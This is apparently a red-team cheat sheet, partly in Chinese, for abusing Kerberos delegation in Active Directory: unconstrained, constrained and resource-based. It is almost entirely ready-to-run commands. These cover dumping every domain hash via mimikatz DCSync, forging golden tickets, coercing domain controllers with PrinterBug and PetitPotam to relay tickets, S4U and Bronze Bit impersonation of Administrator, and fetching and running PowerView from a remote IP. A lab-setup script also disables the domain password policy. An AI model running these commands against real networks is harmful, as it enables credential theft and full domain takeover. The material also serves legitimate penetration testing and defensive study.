Delegation¶
Unconstrained¶
Environment¶
机器账户设置委派
# 1. 获取要配置的计算机对象
$computer = Get-ADComputer -Identity "Computer Name"
# 2. 设置非约束委派
Set-ADAccountControl -Identity $computer -TrustedForDelegation $true
# 3. 验证设置
Get-ADComputer -Identity "Computer Name" -Properties TrustedForDelegation | Select-Object Name,TrustedForDelegation,msDS-AllowedToDelegateTo
# or
Get-ADComputer -Identity "Computer Name" -Properties TrustedForDelegation, msDS-AllowedToDelegateTo
Enumeration¶
Impacket, findDelegation.py
ADFind
# 查询非约束委派普通账户
AdFind.exe -b "DC=domain,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
# 查询非约束委派机器账户
AdFind.exe -b "DC=domain,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
PowerView
# 当前执行策略
Get-ExecutionPolicy
Get-ExecutionPolicy -List
Set-ExecutionPolicy
# 本地加载
powershell.exe -ExecutionPolicy Bypass -Command "Import-Module .\PowerView.ps1; Get-NetComputer -Unconstrained -Domain <Domain Name>"
# 远程加载
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://IP/PowerView.ps1'); Get-NetComputer -Unconstrained -Domain <Domain Name>"
Abuse¶
机器中存在域管理员的凭证¶
# 导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# 注入票据
mimikatz.exe "kerberos::ptt <Name>.kirbi" "exit"
# 导出域内所有用户的hash
mimikatz.exe "lsadump::dcsync /domain:<Domain Name> /all /csv" "exit"
# 导出域内指定帐户的hash
mimikatz.exe "lsadump::dcsync /domain:<Domain Name> /user:<User> /csv" "exit"
# 获取密码
mimikatz.exe "log" "privilege::debug" "sekurlsa::logonpasswords" "exit"
# 查看票据
mimikatz.exe "kerberos::list" "exit"
# 删除票据
mimikatz.exe "kerberos::purge" "exit"
# 黄金票据
# https://github.com/gentilkiwi/mimikatz/wiki
mimikatz.exe "kerberos::golden /admin:administrateur /domain:<Domain Name> /sid:<SID> [/krbtgt:<Hash NTLM>] [/aes128:aes128_hmac] [/aes256:aes256_hmac] [/ptt] [/ticket:<Name>.kirbi]" "exit"
利用漏洞强制域控连接获取凭证¶
# Monitor every /monitorinterval SECONDS (default 60) for new TGTs, auto-renew TGTs, and display the working cache every /displayinterval SECONDS (default 1200):
Rubeus.exe monitor /interval:5
Rubeus.exe monitor /interval:1 /filteruser:<User> /nowrap /consoleoutfile:C:\FILE.txt
SpoolSample
https://github.com/leechristensen/SpoolSample
# 需要域账户权限执行
SpoolSample.exe TARGET CAPTURESERVER
# Check if the spooler service is available
# Service Name:Spooler
# PowerShell
Get-Service -Name <Service Name>
Start-Service -Name <Service Name>
Stop-Service -Name <Service Name>
Restart-Service -Name <Service Name>
# WMI
Get-WmiObject -Query "SELECT * FROM Win32_Service WHERE Name = '<Service Name>'"
# 远程查询服务状态
Get-Service -ComputerName <Remote Name or IP> -Name <Service Name>
# CMD
tasklist /svc | findstr spoolsv
net start spooler
# Impacket rpcdump
# Linux
rpcdump.py $TARGET | grep -A 6 "spoolsv"
# Windows
rpcdump $TARGET | findstr "spoolsv"
printerbug
https://github.com/dirkjanm/krbrelayx
# 需要域账户权限执行
# Plaintext Password
printerbug.py 'DOMAIN'/'USER':'PASSWORD'@'TARGET' 'ATTACKER HOST'
# Hashes
# Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes:
Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]
# NTLM hashes, format is LMHASH:NTHASH
# -hashes LMHASH:NTHASH
printerbug.py -hashes :[rc4_hmac] 'DOMAIN'/'USER':['PASSWORD']@'TARGET' 'ATTACKER HOST'
# or
printerbug.py -hashes [aes128_cts_hmac_sha1]:[rc4_hmac] 'DOMAIN'/'USER':['PASSWORD']@'TARGET' 'ATTACKER HOST'
# 导入票据
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
PetitPotam
https://github.com/topotam/PetitPotam
Linux
# 1. Edit the compromised account's SPN via the msDS-AdditionalDnsHostName property (HOST for incoming SMB with PrinterBug, HTTP for incoming HTTP with PrivExchange)
addspn.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash or Password' -s 'HOST/attacker.DOMAIN_FQDN' --additional 'DomainController'
# 2. Add a DNS entry for the attacker name set in the SPN added in the target machine account's SPNs
dnstool.py -u 'DOMAIN\CompromisedAccont' -p 'LMhash:NThash' -r 'attacker.DOMAIN_FQDN' -d 'attacker_IP' --action add 'DomainController'
# 3. Check that the record was added successfully (after ~3 minutes)
nslookup attacker.DOMAIN_FQDN DomainController
# 4. Start the krbrelayx listener (the tool needs the right kerberos key to decrypt the ticket it will receive)
# 4.a. either specify the salt and password. krbrelayx will calculate the kerberos keys
krbrelayx.py --krbsalt 'DOMAIN Username' --krbpass 'password'
# 4.b. or supply the right Kerberos long-term key directly
krbrelayx.py -aesKey aes256-cts-hmac-sha1-96-VALUE
# 5. Authentication coercion
# PrinterBug, PetitPotam, PrivExchange, ...
printerbug.py domain/'vuln_account$'@'DC_IP' -hashes LM:NT 'DomainController'
# 6. Check if it works. Krbrelayx should have received and decrypted a ticket, extracting the coerced principal's TGT.
# There should be a krbtgt ccache file in the current directory. And it can be used by
export KRB5CCNAME=`pwd`/'krbtgt.ccache'
Windows
# Once the KUD capable host is compromised, Rubeus can be used (on the compromised host) as a listener to wait for a user to authenticate, the ST to show up and to extract the TGT it contains.
Rubeus.exe monitor /interval:5
Rubeus.exe monitor /interval:1 /filteruser:<User> /nowrap /consoleoutfile:C:\FILE.txt
# Once the monitor is ready, a forced authentication attack (e.g. PrinterBug, PrivExchange) can be operated. Rubeus will then receive an authentication (hence a Service Ticket, containing a TGT). The TGT can be used to request a Service Ticket for another service.
Rubeus.exe asktgs /ticket:$base64_extracted_TGT /service:$target_SPN /ptt
# Alternatively, the TGT can be used with S4U2self abuse in order to gain local admin privileges over the TGT's owner.
# Once the TGT is injected, it can natively be used when accessing a service. For example, with Mimikatz, to extract the krbtgt hash with lsadump::dcsync.
lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt
Constrained¶
Environment¶
唯一 SPN 的名称格式 - Win32 apps | Microsoft Learn
# 创建用户
New-ADUser -Name "<Username>" -GivenName "<Username>" -SamAccountName "<Username>" -UserPrincipalName "<Username>@<Domain NAme>" -Path "CN=Users,DC=domain,DC=local" -AccountPassword (ConvertTo-SecureString "<Password>" -AsPlainText -Force) -Enabled $true
# 给用户添加 SPN
setspn -S <Service Class>/<Host>:<Port>/<Service Name> Accountname
Enumeration¶
Powershell
# 查找域内所有SPN(包括用户和计算机账户)
Get-ADObject -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName |
Where-Object { $_.ServicePrincipalName } |
Select-Object DistinguishedName, ObjectClass, ServicePrincipalName
# 仅查找计算机账户的SPN
Get-ADComputer -Filter * -Properties ServicePrincipalName |
Where-Object { $_.ServicePrincipalName } |
Select-Object Name, ServicePrincipalName
setspn
Abuse¶
With protocol transition¶
kekeo
# 构造服务账户票据
kekeo.exe "tgt::ask /user:<Username> /domain:<Domian Name> /password:<Password> /ticket:<Name>.kirbi" "exit"
# 利用伪造的票据,向域服务器申请CIFS服务票据
kekeo.exe "Tgs::s4u /tgt:<Name>.kirbi /user:Administrator@<Domian Name> /service:cifs/<Domain Controller>" "exit"
# 使用mimikatz将该票据注入当前的会话中,
mimikatz.exe "kerberos::ptt <Name>.kirbi" "exit"
Impacket getST.py
# 获取服务票据(TGS)
getST -spn "cifs/target" -impersonate "Administrator" DOMAIN/USER:PASSWORD
# 设置 Kerberos 票据缓存环境变量
# Windows
set KRB5CCNAME=<ticket>.ccache
# Linux
export KRB5CCNAME=<ticket>.ccache
# mimikatz
mimikatz.exe "kerberos::ptc <Name>.ccache" "exit"
# WMI
wmiexec Administrator@<Domain Controller> -k -no-pass
From Windows machines, Rubeus (C#) can be used to conduct a full S4U2 attack (S4U2self + S4U2proxy).
# Rubeus Usages
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac]
# Calculate hashes
Rubeus.exe hash /user:<User> /password:<Password> /domain:<Domain>
# s4u
Rubeus.exe s4u /nowrap /msdsspn:"cifs/target" /impersonateuser:"Administrator" /domain:"domain" /user:"user" </rc4:HASH | /aes256:HASH> [/outfile:FILENAME] [/ptt]
# Use [/ptt] to import the ticket or mimikatz
mimikatz.exe "kerberos::ptt <Name>.kirbi" "exit"
# 清除票据
Rubeus.exe purge [/user:<User>]
Without protocol transition¶
getST¶
Kerberos Bronze - CVE-2020-17049
getST.py -force-forwardable -spn "$Target_SPN" -impersonate "Administrator" -dc-ip "$DC_HOST" -hashes :"$NT_HASH" "$DOMAIN"/"$USER"
getST -spn "cifs/target" -impersonate "Administrator" DOMAIN/USER:PASSWORD -force-forwardable
getST -force-forwardable -spn "$Target_SPN" -impersonate "Administrator" -dc-ip "$DC_HOST" -hashes :"$NT_HASH" "$DOMAIN"/"$USER"
Full S4U2 (self + proxy)¶
Rubeus.exe s4u /nowrap /msdsspn:"cifs/target" /impersonateuser:"administrator" /domain:"domain" /user:"user" </rc4:HASH | /aes256:HASH>
Additional S4U2proxy¶
Rubeus.exe s4u /nowrap /msdsspn:"cifs/target" /tgs:"base64 | file.kirbi" /domain:"domain" /user:"user"
Resource-based constrained¶
msDS-AllowedToActOnBehalfOfOtherIdentity
# Windows
addcomputer -method SAMR -dc-ip <DC IP> -computer-name <Name$> -computer-pass p <Password> DOMAIN/USER:PASSWORD
rbcd -dc-ip <DC IP> -action write -delegate-from <ControlledAccount> -delegate-to <Attck Target>$ DOMAIN/USER:PASSWORD
getST -spn "cifs/target" -impersonate "Administrator" DOMAIN/USER:PASSWORD
set KRB5CCNAME=<Name>.ccache
psexec -k -no-pass <Attck Target>
RBCD on SPN-less users¶
Windows Abuse¶
# 前提条件: 域用户委派到域控机器
# 时间同步
w32tm /config /manualpeerlist:<DC IP> /syncfromflags:manual /update
w32tm /resync
# 获取到一个普通域账户(没有设置SPN),计算其密码的 RC4
pypykatz crypto nt <Password>
Rubeus.exe hash /user:<User> /password:<Password> /domain:<Domain>
# 获取委派用户的 TGT
getTGT -hashes :<RC4 Hash> <Domain>/<User>
# 解析 TGT(Ticket Granting Ticket),ST(Service Ticket)
describeTicket <UserWithoutSPN>.ccache
# 修改域账户的hash
changepasswd -newhashes :TGTSessionKey <Domain>/<User>:<Password>
# 设置票据请求域控ST
set KRB5CCNAME=<UserWithoutSPN>.ccache
getSTM -u2u -impersonate "Administrator" -spn <host/target.domain.com> -k -no-pass <Domain>/<UserWithoutSPN> -dc-ip <DC IP>
# 利用
smbexec/psexec/wmiexec -k -no-pass <AD>
# 恢复密码
smbpasswd -hashes :TGTSessionKey -newhashes :OldNTHash <Domain>/<UserWithoutSPN>@<DC>
报错
[-] Some password update rule has been violated. For example, the password history policy may prohibit the use of recent passwords or the password may not meet length criteria.
# 域密码策略限制
# 需要以域管理员身份运行此脚本
# 导入 Active Directory 模块
Import-Module ActiveDirectory
# 获取当前域默认密码策略
$currentPolicy = Get-ADDefaultDomainPasswordPolicy
# 显示当前策略设置
Write-Host "当前域密码策略:"
$currentPolicy | Format-List *
# 设置新密码策略为"无限制"
Set-ADDefaultDomainPasswordPolicy -Identity $currentPolicy.DistinguishedName `
-ComplexityEnabled $false `
-MinPasswordLength 0 `
-MaxPasswordAge (New-TimeSpan -Days 0) `
-MinPasswordAge (New-TimeSpan -Days 0) `
-LockoutThreshold 0 `
-LockoutObservationWindow (New-TimeSpan -Minutes 0) `
-LockoutDuration (New-TimeSpan -Minutes 0) `
-PasswordHistoryCount 0 `
-ReversibleEncryptionEnabled $true `
-Confirm:$false
# 验证修改后的策略
$newPolicy = Get-ADDefaultDomainPasswordPolicy
Write-Host "修改后的域密码策略:"
$newPolicy | Format-List *
Write-Host "域密码策略已修改为无限制设置。" -ForegroundColor Green
Linux Abuse¶
# Obtain a TGT through overpass-the-hash to use RC4
getTGT.py -hashes :$(pypykatz crypto nt 'SomePassword') 'domain'/'controlledaccountwithoutSPN'
# Obtain the TGT session key
describeTicket.py 'TGT.ccache' | grep 'Ticket Session Key'
# Change the controlledaccountwithoutSPN's NT hash with the TGT session key
changepasswd.py -newhashes :TGTSessionKey 'domain'/'controlledaccountwithoutSPN':'SomePassword'@'DomainController'
# Obtain the delegated service ticket through S4U2self+U2U, followed by S4U2proxy (the steps could be conducted individually with the -self and -additional-ticket flags)
KRB5CCNAME='TGT.ccache' getST.py -u2u -impersonate "Administrator" -spn "host/target.domain.com" -k -no-pass 'domain'/'controlledaccountwithoutSPN' -dc-ip 'DC IP'
# The password can then be reset to its old value (or another one if the domain policy forbids it, which is usually the case)
smbpasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash 'domain'/'controlledaccountwithoutSPN'@'DomainController'
S4U2self Abuse¶
# 前提条件
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# Windows
Rubeus.exe tgtdeleg /nowrap
Rubeus.exe asktgt /nowrap /domain:"domain" /user:"computer$" /rc4:"NThash"
Rubeus.exe s4u /self /nowrap /impersonateuser:"DomainAdmin" /altservice:"cifs/machine.domain.local" /ticket:"base64ticket"
# Linux
getTGT.py -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$"
export KRB5CCNAME="/path/to/ticket.ccache"
getST.py -self -impersonate "DomainAdmin" -altservice "cifs/machine.domain.local" -k -no-pass -dc-ip "DomainController" "domain.local"/'machine$'
S4U2self Abuse¶
# Windows
# Machine account's TGT
Rubeus.exe tgtdeleg /nowrap /target:<SPN>
Rubeus.exe asktgt /nowrap /domain:"domain" /user:"computer$" /rc4:"NThash"
# Obtain a Service Ticket
Rubeus.exe s4u /self /nowrap /impersonateuser:"DomainAdmin" /altservice:"cifs/machine.domain.local" /ticket:"base64ticket"
# Linux
# Machine account's TGT
getTGT.py -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$"
# Obtain a Service Ticket
export KRB5CCNAME="/path/to/ticket.ccache"
getST.py -self -impersonate "DomainAdmin" -altservice "cifs/machine.domain.local" -k -no-pass -dc-ip "DomainController" "domain.local"/'machine$'
Empowering Active Directory Objects and Reflective Resource-Based Constrained Delegation¶
如果拥有计算机账户的凭据,甚至只是一个TGT,就可以从该账户配置基于资源的受限委派(反射RBCD),然后使用S4U2Self和S4U2Proxy为任意用户获取其TGS
Rubeus.exe asktgt /nowrap /domain:<Domain> /user:<Machine Account$> [/rc4:<NTHash> | /aes256:<NTHash>] [/ptt]
Rubeus.exe ptt /ticket:<Base64 Ticket>
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Set-ADComputer <Machine Account> -PrincipalsAllowedToDelegateToAccount <Machine Account$>
Get-ADComputer <Machine Account> -Properties PrincipalsAllowedToDelegateToAccount
Rubeus.exe s4u /nowrap /domain:<Domain> /user:<Machine Account$> [/rc4:<NTHash> | /aes256:<NTHash>] /msdsspn:cifs/<Machine Account SPN> /impersonateuser:Administrator [/ptt] [/outfile:<name>.kirbi]
smbexec -k -no-pass <Machine Account>
附录¶
检查域控制器的KDC服务
检查网络与防火墙
同步时间
# 检查时间差
# 攻击机器与域控制器的时间差必须≤5分钟
# 查看攻击机器时间
w32tm /query /status
# 强制同步时间
w32tm /config /manualpeerlist:<DC IP> /syncfromflags:manual /update
w32tm /resync
启用 net view /domain
允许用户使用winrs